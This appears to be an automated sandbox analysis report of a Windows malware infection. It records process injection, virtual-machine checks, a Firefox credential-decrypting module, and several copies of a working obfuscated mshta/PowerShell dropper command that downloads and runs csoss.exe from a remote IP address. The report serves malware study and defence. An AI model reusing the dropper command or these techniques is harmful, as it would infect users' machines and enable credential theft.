Source: powershell.exe, 00000003.00000002.1404161874.0000000006D00000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}K
Source: csoss.exe, 00000006.00000003.1388207507.0000000001151000.00000004.00000020.00020000.00000000.sdmp, csoss.exe, 00000006.00000003.1388207507.0000000001132000.00000004.00000020.00020000.00000000.sdmp, csoss.exe, 00000006.00000003.1388297635.0000000001151000.00000004.00000020.00020000.00000000.sdmp, acrorrheuma.6.dr	Binary or memory string: WR_HGfSGVWXMWGD3
Source: powershell.exe, 00000003.00000002.1400376615.00000000047B7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Add-NetEventVmNetworkAdapter
Source: powershell.exe, 00000003.00000002.1404429717.0000000006D66000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1413448646.0000000007CEF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: powershell.exe, 00000003.00000002.1400376615.00000000047B7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Get-NetEventVmNetworkAdapter
Source: powershell.exe, 00000003.00000002.1413448646.0000000007C72000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: csoss.exe, 00000006.00000003.1387959668.0000000001031000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmwareworkstation.exe
Source: RegSvcs.exe, 00000007.00000002.2508024337.00000000005A9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\AppData\Roaming\csoss.exe

API call chain: ExitProcess graph end node

graph_6-104262

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 7_2_0096C168 LdrInitializeThunk,LdrInitializeThunk,

7_2_0096C168

Source: C:\Users\user\AppData\Roaming\csoss.exe

Code function: 6_2_00D73F09 BlockInput,

6_2_00D73F09

Source: C:\Users\user\AppData\Roaming\csoss.exe

Code function: 6_2_00D03B3A GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

6_2_00D03B3A

Source: C:\Users\user\AppData\Roaming\csoss.exe

Code function: 6_2_00D35A7C EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

6_2_00D35A7C

Source: C:\Users\user\AppData\Roaming\csoss.exe

Code function: 6_2_00D04B37 LoadLibraryA,GetProcAddress,

6_2_00D04B37

Source: C:\Users\user\AppData\Roaming\csoss.exe	Code function: 6_2_00FE20E8 mov eax, dword ptr fs:[00000030h]	6_2_00FE20E8
Source: C:\Users\user\AppData\Roaming\csoss.exe	Code function: 6_2_00FE37A8 mov eax, dword ptr fs:[00000030h]	6_2_00FE37A8
Source: C:\Users\user\AppData\Roaming\csoss.exe	Code function: 6_2_00FE3748 mov eax, dword ptr fs:[00000030h]	6_2_00FE3748

Source: C:\Users\user\AppData\Roaming\csoss.exe

Code function: 6_2_00D580A9 GetTokenInformation,GetLastError,GetProcessHeap,HeapAlloc,GetTokenInformation,

6_2_00D580A9

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\AppData\Roaming\csoss.exe	Code function: 6_2_00D2A155 SetUnhandledExceptionFilter,UnhandledExceptionFilter,		6_2_00D2A155
Source: C:\Users\user\AppData\Roaming\csoss.exe	Code function: 6_2_00D2A124 SetUnhandledExceptionFilter,		6_2_00D2A124

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell decode and execute

Source: Yara match

File source: amsi32_5308.amsi.csv, type: OTHER

.NET source code references suspicious native API functions

Source: 6.2.csoss.exe.eb0000.1.raw.unpack, UltraSpeed.cs	Reference to suspicious API methods: MapVirtualKey(VKCode, 0u)
Source: 6.2.csoss.exe.eb0000.1.raw.unpack, FFDecryptor.cs	Reference to suspicious API methods: Marshal.GetDelegateForFunctionPointer(GetProcAddress(hModule, method), typeof(T))
Source: 6.2.csoss.exe.eb0000.1.raw.unpack, FFDecryptor.cs	Reference to suspicious API methods: hModuleList.Add(LoadLibrary(text9 + "\\mozglue.dll"))

Maps a DLL or memory area into another process

Source: C:\Users\user\AppData\Roaming\csoss.exe

Section loaded: NULL target: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe protection: execute and read and write

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\AppData\Roaming\csoss.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 3F8008

Jump to behavior

Source: C:\Users\user\AppData\Roaming\csoss.exe

Code function: 6_2_00D587B1 LogonUserW,

6_2_00D587B1

Source: C:\Users\user\AppData\Roaming\csoss.exe

Code function: 6_2_00D03B3A GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

6_2_00D03B3A

Source: C:\Users\user\AppData\Roaming\csoss.exe

Code function: 6_2_00D048D7 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,

6_2_00D048D7

Source: C:\Users\user\AppData\Roaming\csoss.exe

Code function: 6_2_00D64C53 mouse_event,

6_2_00D64C53

Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" "/C POwErsHeLl.exe -eX bYPasS -NOP -w 1 -C DEVICEcrEDeNtIaLDePLoyMEnt ; iEx($(IEX('[SYstEM.TEXT.encOdInG]'+[ChaR]0x3a+[CHAR]0X3A+'UtF8.geTsTRinG([SyStEm.ConVert]'+[cHAr]0x3a+[ChaR]58+'frOmBAsE64striNg('+[CHar]34+'JEdhICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQWRkLXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lTUJlcmRFRmlOSXRpb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVyTE1vbiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZ1dRaXBNREdkcixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgamdrLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBFaXpjTUh2dkJaLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRSk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFtRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiVEdORG9HcUNLRyIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTUVTUEFjRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBWR1ZhbyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRHYTo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzIzLjk1LjIzNS4yOC8xMjAvY3Nvc3MuZXhlIiwiJEVOdjpBUFBEQVRBXGNzb3NzLmV4ZSIsMCwwKTtzVGFyVC1zbEVFcCgzKTtJblZvS0UtaXRFTSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVOdjpBUFBEQVRBXGNzb3NzLmV4ZSI='+[cHar]0x22+'))')))"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe POwErsHeLl.exe -eX bYPasS -NOP -w 1 -C DEVICEcrEDeNtIaLDePLoyMEnt ; iEx($(IEX('[SYstEM.TEXT.encOdInG]'+[ChaR]0x3a+[CHAR]0X3A+'UtF8.geTsTRinG([SyStEm.ConVert]'+[cHAr]0x3a+[ChaR]58+'frOmBAsE64striNg('+[CHar]34+'JEdhICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQWRkLXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lTUJlcmRFRmlOSXRpb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVyTE1vbiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZ1dRaXBNREdkcixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgamdrLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBFaXpjTUh2dkJaLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRSk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFtRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiVEdORG9HcUNLRyIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTUVTUEFjRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBWR1ZhbyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRHYTo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzIzLjk1LjIzNS4yOC8xMjAvY3Nvc3MuZXhlIiwiJEVOdjpBUFBEQVRBXGNzb3NzLmV4ZSIsMCwwKTtzVGFyVC1zbEVFcCgzKTtJblZvS0UtaXRFTSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVOdjpBUFBEQVRBXGNzb3NzLmV4ZSI='+[cHar]0x22+'))')))"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\43swuu3x\43swuu3x.cmdline"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\csoss.exe "C:\Users\user\AppData\Roaming\csoss.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESC5CF.tmp" "c:\Users\user\AppData\Local\Temp\43swuu3x\CSC1706E7A7601C443B9125CD5A3AB1B1B7.TMP"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\csoss.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Users\user\AppData\Roaming\csoss.exe"	Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\cmd.exe "c:\windows\system32\cmd.exe" "/c powershell.exe -ex bypass -nop -w 1 -c devicecredentialdeployment ; iex($(iex('[system.text.encoding]'+[char]0x3a+[char]0x3a+'utf8.getstring([system.convert]'+[char]0x3a+[char]58+'frombase64string('+[char]34+'jedhicagicagicagicagicagicagicagicagicagicagicagid0gicagicagicagicagicagicagicagicagicagicagicagqwrklxrzugugicagicagicagicagicagicagicagicagicagicagicaglw1ltujlcmrfrmlosxrpb24gicagicagicagicagicagicagicagicagicagicagicagj1tebgxjbxbvcnqoinvyte1vbiisicagicagicagicagicagicagicagicagicagicagicagienoyxjtzxqgpsbdagfyu2v0llvuawnvzgupxxb1ymxpyybzdgf0awmgzxh0zxjuieludfb0cibvukxeb3dubg9hzfrvrmlszshjbnrqdhigicagicagicagicagicagicagicagicagicagicagicagz1draxbnredkcixzdhjpbmcgicagicagicagicagicagicagicagicagicagicagicagamdrlhn0cmluzyagicagicagicagicagicagicagicagicagicagicagicbfaxpjtuh2dkjalhvpbnqgicagicagicagicagicagicagicagicagicagicagicagcixjbnrqdhigicagicagicagicagicagicagicagicagicagicagicagrsk7jyagicagicagicagicagicagicagicagicagicagicagicatbkftrsagicagicagicagicagicagicagicagicagicagicagicaivedorg9hcunlryigicagicagicagicagicagicagicagicagicagicagicaglu5btuvtuefjrsagicagicagicagicagicagicagicagicagicagicagicbwr1zhbyagicagicagicagicagicagicagicagicagicagicagicatugfzc1rocnu7icagicagicagicagicagicagicagicagicagicagicagicrhyto6vvjmrg93bmxvywrub0zpbguomcwiahr0cdovlzizljk1ljizns4yoc8xmjavy3nvc3muzxhliiwijevodjpbufbeqvrbxgnzb3nzlmv4zsismcwwkttzvgfyvc1zbevfccgzkttjblzvs0utaxrftsagicagicagicagicagicagicagicagicagicagicagicaijevodjpbufbeqvrbxgnzb3nzlmv4zsi='+[char]0x22+'))')))"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -ex bypass -nop -w 1 -c devicecredentialdeployment ; iex($(iex('[system.text.encoding]'+[char]0x3a+[char]0x3a+'utf8.getstring([system.convert]'+[char]0x3a+[char]58+'frombase64string('+[char]34+'jedhicagicagicagicagicagicagicagicagicagicagicagid0gicagicagicagicagicagicagicagicagicagicagicagqwrklxrzugugicagicagicagicagicagicagicagicagicagicagicaglw1ltujlcmrfrmlosxrpb24gicagicagicagicagicagicagicagicagicagicagicagj1tebgxjbxbvcnqoinvyte1vbiisicagicagicagicagicagicagicagicagicagicagicagienoyxjtzxqgpsbdagfyu2v0llvuawnvzgupxxb1ymxpyybzdgf0awmgzxh0zxjuieludfb0cibvukxeb3dubg9hzfrvrmlszshjbnrqdhigicagicagicagicagicagicagicagicagicagicagicagz1draxbnredkcixzdhjpbmcgicagicagicagicagicagicagicagicagicagicagicagamdrlhn0cmluzyagicagicagicagicagicagicagicagicagicagicagicbfaxpjtuh2dkjalhvpbnqgicagicagicagicagicagicagicagicagicagicagicagcixjbnrqdhigicagicagicagicagicagicagicagicagicagicagicagrsk7jyagicagicagicagicagicagicagicagicagicagicagicatbkftrsagicagicagicagicagicagicagicagicagicagicagicaivedorg9hcunlryigicagicagicagicagicagicagicagicagicagicagicaglu5btuvtuefjrsagicagicagicagicagicagicagicagicagicagicagicbwr1zhbyagicagicagicagicagicagicagicagicagicagicagicatugfzc1rocnu7icagicagicagicagicagicagicagicagicagicagicagicrhyto6vvjmrg93bmxvywrub0zpbguomcwiahr0cdovlzizljk1ljizns4yoc8xmjavy3nvc3muzxhliiwijevodjpbufbeqvrbxgnzb3nzlmv4zsismcwwkttzvgfyvc1zbevfccgzkttjblzvs0utaxrftsagicagicagicagicagicagicagicagicagicagicagicaijevodjpbufbeqvrbxgnzb3nzlmv4zsi='+[char]0x22+'))')))"
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\cmd.exe "c:\windows\system32\cmd.exe" "/c powershell.exe -ex bypass -nop -w 1 -c devicecredentialdeployment ; iex($(iex('[system.text.encoding]'+[char]0x3a+[char]0x3a+'utf8.getstring([system.convert]'+[char]0x3a+[char]58+'frombase64string('+[char]34+'jedhicagicagicagicagicagicagicagicagicagicagicagid0gicagicagicagicagicagicagicagicagicagicagicagqwrklxrzugugicagicagicagicagicagicagicagicagicagicagicaglw1ltujlcmrfrmlosxrpb24gicagicagicagicagicagicagicagicagicagicagicagj1tebgxjbxbvcnqoinvyte1vbiisicagicagicagicagicagicagicagicagicagicagicagienoyxjtzxqgpsbdagfyu2v0llvuawnvzgupxxb1ymxpyybzdgf0awmgzxh0zxjuieludfb0cibvukxeb3dubg9hzfrvrmlszshjbnrqdhigicagicagicagicagicagicagicagicagicagicagicagz1draxbnredkcixzdhjpbmcgicagicagicagicagicagicagicagicagicagicagicagamdrlhn0cmluzyagicagicagicagicagicagicagicagicagicagicagicbfaxpjtuh2dkjalhvpbnqgicagicagicagicagicagicagicagicagicagicagicagcixjbnrqdhigicagicagicagicagicagicagicagicagicagicagicagrsk7jyagicagicagicagicagicagicagicagicagicagicagicatbkftrsagicagicagicagicagicagicagicagicagicagicagicaivedorg9hcunlryigicagicagicagicagicagicagicagicagicagicagicaglu5btuvtuefjrsagicagicagicagicagicagicagicagicagicagicagicbwr1zhbyagicagicagicagicagicagicagicagicagicagicagicatugfzc1rocnu7icagicagicagicagicagicagicagicagicagicagicagicrhyto6vvjmrg93bmxvywrub0zpbguomcwiahr0cdovlzizljk1ljizns4yoc8xmjavy3nvc3muzxhliiwijevodjpbufbeqvrbxgnzb3nzlmv4zsismcwwkttzvgfyvc1zbevfccgzkttjblzvs0utaxrftsagicagicagicagicagicagicagicagicagicagicagicaijevodjpbufbeqvrbxgnzb3nzlmv4zsi='+[char]0x22+'))')))"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -ex bypass -nop -w 1 -c devicecredentialdeployment ; iex($(iex('[system.text.encoding]'+[char]0x3a+[char]0x3a+'utf8.getstring([system.convert]'+[char]0x3a+[char]58+'frombase64string('+[char]34+'jedhicagicagicagicagicagicagicagicagicagicagicagid0gicagicagicagicagicagicagicagicagicagicagicagqwrklxrzugugicagicagicagicagicagicagicagicagicagicagicaglw1ltujlcmrfrmlosxrpb24gicagicagicagicagicagicagicagicagicagicagicagj1tebgxjbxbvcnqoinvyte1vbiisicagicagicagicagicagicagicagicagicagicagicagienoyxjtzxqgpsbdagfyu2v0llvuawnvzgupxxb1ymxpyybzdgf0awmgzxh0zxjuieludfb0cibvukxeb3dubg9hzfrvrmlszshjbnrqdhigicagicagicagicagicagicagicagicagicagicagicagz1draxbnredkcixzdhjpbmcgicagicagicagicagicagicagicagicagicagicagicagamdrlhn0cmluzyagicagicagicagicagicagicagicagicagicagicagicbfaxpjtuh2dkjalhvpbnqgicagicagicagicagicagicagicagicagicagicagicagcixjbnrqdhigicagicagicagicagicagicagicagicagicagicagicagrsk7jyagicagicagicagicagicagicagicagicagicagicagicatbkftrsagicagicagicagicagicagicagicagicagicagicagicaivedorg9hcunlryigicagicagicagicagicagicagicagicagicagicagicaglu5btuvtuefjrsagicagicagicagicagicagicagicagicagicagicagicbwr1zhbyagicagicagicagicagicagicagicagicagicagicagicatugfzc1rocnu7icagicagicagicagicagicagicagicagicagicagicagicrhyto6vvjmrg93bmxvywrub0zpbguomcwiahr0cdovlzizljk1ljizns4yoc8xmjavy3nvc3muzxhliiwijevodjpbufbeqvrbxgnzb3nzlmv4zsismcwwkttzvgfyvc1zbevfccgzkttjblzvs0utaxrftsagicagicagicagicagicagicagicagicagicagicagicaijevodjpbufbeqvrbxgnzb3nzlmv4zsi='+[char]0x22+'))')))"	Jump to behavior

Source: C:\Users\user\AppData\Roaming\csoss.exe

Code function: 6_2_00D57CAF GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,

6_2_00D57CAF

Source: C:\Users\user\AppData\Roaming\csoss.exe

Code function: 6_2_00D5874B AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

6_2_00D5874B

Source: csoss.exe, 00000006.00000000.1384714838.0000000000DB4000.00000002.00000001.01000000.0000000A.sdmp, csoss.exe.3.dr, csoss[1].exe.3.dr	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: csoss.exe	Binary or memory string: Shell_TrayWnd

Source: C:\Users\user\AppData\Roaming\csoss.exe

Code function: 6_2_00D2862B cpuid

6_2_00D2862B

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
